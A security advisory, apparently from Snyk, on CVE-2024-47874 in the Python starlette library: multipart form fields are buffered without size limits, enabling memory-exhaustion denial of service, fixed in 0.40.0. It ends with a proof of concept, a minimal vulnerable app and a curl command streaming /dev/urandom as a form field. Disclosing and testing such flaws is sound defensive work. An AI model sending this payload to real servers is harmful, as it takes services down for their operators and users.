Allocation of Resources Without Limits or Throttling Affecting starlette package, versions [,0.40.0)
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Test your applications- Snyk ID SNYK-PYTHON-STARLETTE-8186175
- published 15 Oct 2024
- disclosed 15 Oct 2024
- credit Marcel Hellkamp
Introduced: 15 Oct 2024
New CVE-2024-47874 Open this link in a new tabHow to fix?
Upgrade starlette to version 0.40.0 or higher.
Overview
starlette is a The little ASGI library that shines.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via multipart/form-data requests, due to treating parts without a filename as text form fields and buffering those in byte strings with no size limit.
An attacker could cause Starlette to both slow down significantly due to excessive memory allocations and copy operations, and also consume more and more memory until the server starts swapping and grinds to a halt by uploading arbitrary large form fields.
Note:
This vulnerability affects all applications built with Starlette (or FastAPI) accepting form requests.
PoC
from starlette.applications import Starlette
from starlette.routing import Route
async def poc(request):
async with request.form():
pass
app = Starlette(routes=[
Route('/', poc, methods=["POST"]),
])
curl http://localhost:8000 -F 'big=</dev/urandom'